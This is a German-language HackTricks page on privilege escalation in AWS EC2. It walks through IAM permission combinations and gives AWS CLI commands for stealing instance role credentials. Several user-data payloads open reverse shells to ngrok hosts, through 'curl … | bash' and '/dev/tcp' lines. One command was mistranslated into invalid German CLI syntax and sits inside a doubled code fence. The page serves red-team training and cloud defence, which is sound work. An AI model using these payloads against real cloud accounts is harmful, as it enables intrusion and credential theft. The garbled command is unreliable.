AWS - EC2 Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

EC2

Für weitere Informationen zu EC2 siehe:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Ein Angreifer könnte eine Instanz erstellen, die eine IAM-Rolle anhängt, und dann auf die Instanz zugreifen, um die IAM-Rollenanmeldeinformationen vom Metadaten-Endpunkt zu stehlen.

  • Zugriff über SSH

Führen Sie eine neue Instanz mit einem erstellten SSH-Schlüssel (--key-name) aus und greifen Sie dann über SSH darauf zu (wenn Sie einen neuen erstellen möchten, benötigen Sie möglicherweise die Berechtigung ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Zugriff über Rev-Shell in Benutzerdaten

Sie können eine neue Instanz unter Verwendung von Benutzerdaten (--user-data) ausführen, die Ihnen eine Rev-Shell senden werden. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Seien Sie vorsichtig mit GuardDuty, wenn Sie die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwenden:

pageAWS - GuardDuty Enum

Potenzielle Auswirkungen: Direkter Privilege Escalation zu einer beliebigen EC2-Rolle, die an vorhandene Instanzprofile angehängt ist.

Privilege Escalation zu ECS

Mit diesem Satz von Berechtigungen könnten Sie auch eine EC2-Instanz erstellen und sie in einem ECS-Cluster registrieren. Auf diese Weise werden ECS-Dienste innerhalb der EC2-Instanz ausgeführt, auf die Sie Zugriff haben, und Sie können dann in diese Dienste (Docker-Container) eindringen und ihre ECS-Rollen stehlen.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Um zu lernen, wie man ECS-Dienste erzwingt, auf dieser neuen EC2-Instanz ausgeführt zu werden, überprüfen Sie:

pageAWS - ECS Privesc

Wenn Sie keine neue Instanz erstellen können, aber die Berechtigung ecs:RegisterContainerInstance haben, könnten Sie die Instanz im Cluster registrieren und den kommentierten Angriff durchführen.

Mögliche Auswirkungen: Direkter Privilege Escalation zu ECS-Rollen, die an Aufgaben angehängt sind.

iam:PassRole, iam:AddRoleToInstanceProfile

Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die IAM-Rolle einer kompromittierten Instanz ändern, um neue Anmeldeinformationen zu stehlen. Da ein Instanzprofil nur eine Rolle haben kann, wenn das Instanzprofil bereits eine Rolle hat (üblicher Fall), benötigen Sie auch iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Wenn das Instanzprofil eine Rolle hat und der Angreifer es nicht entfernen kann, gibt es einen anderen Workaround. Er könnte ein Instanzprofil ohne Rolle finden oder ein neues erstellen (iam:CreateInstanceProfile), die Rolle zu diesem Instanzprofil hinzufügen (wie zuvor besprochen) und das kompromittierte Instanzprofil mit einer kompromittierten Instanz verknüpfen:

  • Wenn die Instanz kein Instanzprofil hat (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potenzielle Auswirkungen: Direktes Privilege Escalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus haben).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Mit diesen Berechtigungen ist es möglich, das mit einer Instanz verknüpfte Instanzprofil zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene Profil ändert.

  • Wenn es ein Instanzprofil hat, können Sie das Instanzprofil entfernen (ec2:DisassociateIamInstanceProfile) und es verknüpfen *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • oder ersetzen das Instanzprofil der kompromittierten Instanz (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```bash
aws ec2 ersetzen-iam-instanzprofil-association --iam-instanzprofil Name=<Wert> --assoziations-id <Wert>
```
```

Potenzielle Auswirkungen: Direktes Privilege Escalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus haben).

ec2:RequestSpotInstances,iam:PassRole

Ein Angreifer mit den Berechtigungen ec2:RequestSpotInstances und iam:PassRole kann eine Spot-Instanz mit einer angehängten EC2-Rolle und einem Reverse-Shell in den Benutzerdaten anfordern. Sobald die Instanz ausgeführt wird, kann er die IAM-Rolle stehlen.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Ein Angreifer mit der Berechtigung ec2:ModifyInstanceAttribute kann die Attribute der Instanzen ändern. Darunter fällt auch die Möglichkeit, die Benutzerdaten zu ändern, was bedeutet, dass er die Instanz dazu bringen kann, beliebige Daten auszuführen. Dies kann genutzt werden, um eine Reverse-Shell zur EC2-Instanz zu erhalten.

Bitte beachten Sie, dass die Attribute nur geändert werden können, wenn die Instanz gestoppt ist, daher sind die Berechtigungen ec2:StopInstances und ec2:StartInstances erforderlich.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu einer beliebigen EC2 IAM-Rolle, die an einer erstellten Instanz angehängt ist.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Ein Angreifer mit den Berechtigungen ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateund ec2:ModifyLaunchTemplate kann eine neue Launch-Template-Version mit einem Rev-Shell im Benutzerdatenfeld erstellen und eine beliebige EC2 IAM-Rolle darauf anhängen, die Standardversion ändern und eine Autoscaler-Gruppe nutzen, die dieses Launch-Template verwendet und auf die neueste oder Standardversion eingestellt ist, um die Instanzen mit diesem Template neu zu starten und die Rev-Shell auszuführen.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potenzielle Auswirkungen: Direkter Privilege Escalation zu einer anderen EC2-Rolle.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Ein Angreifer mit den Berechtigungen autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole kann eine Startkonfiguration erstellen mit einer IAM-Rolle und einem Reverse-Shell im Benutzerdatenfeld, dann eine Autoscaling-Gruppe aus dieser Konfiguration erstellen und auf die Reverse-Shell warten, um die IAM-Rolle zu stehlen.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potenzielle Auswirkungen: Direktes Privilege Escalation zu einer anderen EC2-Rolle.

!autoscaling

Der Satz von Berechtigungen ec2:CreateLaunchTemplate und autoscaling:CreateAutoScalingGroup reichen nicht aus, um Berechtigungen auf eine IAM-Rolle zu eskalieren, da zum Anhängen der in der Startkonfiguration oder im Starttemplate angegebenen Rolle die Berechtigungen iam:PassRole und ec2:RunInstances erforderlich sind (was eine bekannte Privilege Escalation ist).

ec2-instance-connect:SendSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSSHPublicKey kann einen SSH-Schlüssel zu einem Benutzer hinzufügen und ihn verwenden, um darauf zuzugreifen (wenn er SSH-Zugriff auf die Instanz hat) oder um Berechtigungen zu eskalieren.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSerialConsoleSSHPublicKey kann einen SSH-Schlüssel zu einer seriellen Verbindung hinzufügen. Wenn die serielle Verbindung nicht aktiviert ist, benötigt der Angreifer die Berechtigung ec2:EnableSerialConsoleAccess, um sie zu aktivieren.

Um sich mit dem seriellen Anschluss zu verbinden, müssen Sie auch den Benutzernamen und das Passwort eines Benutzers innerhalb der Maschine kennen.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Auf diese Weise ist es nicht besonders nützlich für Privilege Escalation, da Sie einen Benutzernamen und ein Passwort kennen müssen, um sie auszunutzen.

Potenzielle Auswirkungen: (Hochgradig nicht nachweisbar) Direkte Privilege Escalation zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated